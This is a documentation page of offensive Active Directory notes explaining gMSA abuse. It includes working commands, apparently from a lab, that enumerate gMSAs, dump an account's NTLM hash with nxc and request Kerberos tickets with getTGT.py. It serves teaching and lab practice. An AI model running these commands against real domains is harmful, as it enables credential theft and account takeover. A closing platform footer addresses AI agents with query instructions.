> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/active-directory/07.-gmsa-abuse.md).

# 07. gMSA Abuse

**What it is:** a gMSA is an AD account type designed to run services (scheduled tasks, app pools, SQL Server, etc.) without any human ever knowing its password. Windows automatically generates and rotates a 256-byte random password on a schedule (default: every 30 days).

## How Machines Actually Use It Without Knowing the Password

Any computer or account listed in the gMSA's `PrincipalsAllowedToRetrieveManagedPassword` attribute can query Active Directory (via the `msDS-ManagedPassword` attribute over LDAP) and receive the *current* password directly. This is by design — it's how legitimate services authenticate as the gMSA without a human typing anything in.

## Why It's Exploitable

The security boundary here is entirely the `PrincipalsAllowedToRetrieveManagedPassword` list. If an attacker can get themselves — or a group they control — added to that list, AD will hand over the live password to them exactly as it would to a legitimate service. AD has no way to distinguish "a real service asking" from "an attacker who manipulated the ACL."

## Worked Example

```powershell
# find gMSAs and who's authorized to read their password
Get-ADServiceAccount -Filter * -Properties PrincipalsAllowedToRetrieveManagedPassword
```

```
Name                : Sub_gMSA
PrincipalsAllowedToRetrieveManagedPassword : {S-1-5-21-...-1104}
```

If that SID resolves to a group you can get yourself added to (directly, or via DACL abuse — `08_DACL_Abuse.md` + `09_Group_Scope.md`), you can then read the password:

```bash
nxc ldap 192.168.2.2 -u jane.doe -k --use-kcache --gmsa
# Sub_gMSA$ NTLM: 4b85a2a049588810c1267e4018b07a07
```

From here the NTLM hash can be used directly, or converted to an AES key for cleaner Kerberos-native authentication:

```bash
getTGT.py -aesKey <converted-aes-key> -dc-ip 192.168.2.2 'sub.htb/linked-account'
export KRB5CCNAME=linked-account.ccache
```

## Key Term

| Term     | Definition                                                                            |
| -------- | ------------------------------------------------------------------------------------- |
| **gMSA** | Group Managed Service Account — an account with an AD-rotated, human-unknown password |


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/active-directory/07.-gmsa-abuse.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.